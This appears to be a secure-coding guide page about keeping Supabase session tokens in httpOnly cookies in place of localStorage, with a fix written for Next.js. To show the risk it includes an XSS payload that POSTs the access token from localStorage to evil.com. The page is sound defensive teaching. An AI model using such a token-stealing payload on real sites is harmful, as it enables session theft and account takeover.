Session Tokens in httpOnly Cookies
Auth Safety · AUTH-07 · Priority: P1
Why It Matters
Session tokens stored in localStorage or non-httpOnly cookies are readable by any JavaScript running on the page. A single XSS vulnerability — an injected script, a compromised third-party library, a malicious browser extension — can extract the token and send it to an attacker, who then has full access to the user's account.
httpOnly cookies cannot be read by JavaScript. Even if an XSS vulnerability exists, the attacker cannot steal the session token. This is defense-in-depth — it doesn't prevent XSS, but it limits the damage.
AI code generators frequently store Supabase tokens in localStorage because it's the default client-side behavior and requires no additional configuration.
Priority: P1 — Session theft via XSS leads to account takeover.
Affected Stack: Supabase Auth, Next.js, any framework with cookie-based sessions
The Problem
// ❌ Default Supabase client stores tokens in localStorage
import { createClient } from '@supabase/supabase-js';
const supabase = createClient(url, anonKey);
// Tokens are in localStorage — accessible to any JS on the page
An attacker who finds an XSS vector can steal the token:
// XSS payload that steals the session
fetch('https://evil.com/steal', {
method: 'POST',
body: localStorage.getItem('sb-access-token')
});
The Fix
Use Supabase SSR package which stores tokens in httpOnly cookies automatically.
// ✅ Server-side cookie storage with @supabase/ssr
import { createServerClient } from '@supabase/ssr';
import { cookies } from 'next/headers';
export function createClient() {
const cookieStore = cookies();
return createServerClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
{
cookies: {
getAll() { return cookieStore.getAll(); },
setAll(cookiesToSet) {
cookiesToSet.forEach(({ name, value, options }) =>
cookieStore.set(name, value, options)
);
},
},
}
);
}
Key rules:
- Use
@supabase/ssrinstead of@supabase/supabase-jsfor server-rendered apps - Session cookies should have
httpOnly,secure,sameSite: 'lax'attributes - Never store tokens in
localStoragein production
References
- Supabase: Server-Side Auth with Cookies
- OWASP: Session Management Cheat Sheet
- CWE-1004: Sensitive Cookie Without HttpOnly Flag
Related Checks
- getUser() vs getSession() — AUTH-13
- Server-Side Auth for Protected Routes — AUTH-04
Is your app safe? Run Free Scan →